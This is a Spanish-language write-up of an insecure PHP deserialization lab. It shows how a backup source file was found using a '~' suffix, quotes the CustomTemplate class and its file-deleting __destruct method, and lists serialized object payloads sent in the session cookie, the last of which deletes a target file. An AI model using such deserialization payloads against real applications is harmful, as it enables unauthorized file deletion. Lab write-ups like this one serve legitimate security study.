A veces puedes leer código fuente al agregar un tilde (~) a un nombre de archivo para recuperar un archivo de copia de seguridad generado por editor archivo.txt~
Tendremos que inyectar un objeto malicioso que llame a un método de la clase para eliminar directorios o archivos y ese es el que tomaremos en cuenta, será un método magico.
Aqui ya por ejemplo podemos ver en el DOM un comentario que hace referencia a un código PHP →
Vemos que no muestra nada, pero si le añadimos el signo virgulilla ~ nos muestra la copia de seguridad que hace el editor de código →
<?php
class CustomTemplate {
private $template_file_path;
private $lock_file_path;
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
$this->lock_file_path = $template_file_path . ".lock";
}
private function isTemplateLocked() {
return file_exists($this->lock_file_path);
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lock_file_path, "") === false) {
throw new Exception("Could not write to " . $this->lock_file_path);
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
}
?>
Info importante warning ⚠️
__destruct: → Método Magico Este método se llama cuando un objeto está a punto de ser destruido o cuando el script termina. Se utiliza típicamente para tareas de limpieza, como cerrar manejadores de archivos o conexiones a bases de datos.
Destructor (__destruct()):
Este método se ejecuta al destruir la instancia de la clase. Verifica si el archivo de bloqueo existe y lo elimina con unlink($this->lock_file_path).
Cookie:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"kkjp276f5n0a1i2puvc2jbbchbn98653";}
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"kkjp276f5n0a1i2puvc2jbbchbn98653";}O:14:"CustomTemplate":2:{s:18:"template_file_path";s:23:"/home/carlos/morale.txt";s:14:"lock_file_path";s:28:"/home/carlos/morale.txt.lock";}
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"kkjp276f5n0a1i2puvc2jbbchbn98653";O:14:"CustomTemplate":1:{s:18:"template_file_path";s:23:"/home/carlos/morale.txt";}}
// De estas formas de aqui para abajo, no me genera errores, es extraño, pero no se resuelve el lab.
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"kkjp276f5n0a1i2puvc2jbbchbn98653";}O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:28:"/home/carlos/morale.txt.lock";}
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"kkjp276f5n0a1i2puvc2jbbchbn98653";}O:14:"CustomTemplate":1:{s:18:"template_file_path";s:23:"/home/carlos/morale.txt";}
//sin llaves separadas:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"kkjp276f5n0a1i2puvc2jbbchbn98653";}O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
//El ULTIMO ->
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
Algo importante que me pasó:
Toda la tarde estuvo intentando inyectar el objeto arbitrario con toda la estructura de la cookie de session porque bajo la logica mía era: “si ingrese como wiener, le voy a inyectar a la estructura de la cookie el object”, sin embargo así no fue como me funcionó, totalmente opuesto luego de ver en el laboratorio bastaba simplemente con enviar literalmente solo la estructura del objeto inyectado de la clase CustomTemplatepara poder comprender y eliminar el archivo morale.txt
con esto queda de moraleja que la inserialización insegura no siempre se debe seguir al margen la cookie de session a veces podemos saltarnos las reglas para hacer algo un tanto diferente y no morir en el intento.
Eso es todo, gracias por leerme, si te gustó no olvides seguirme en Twitter/X como @pwnedrar_ :)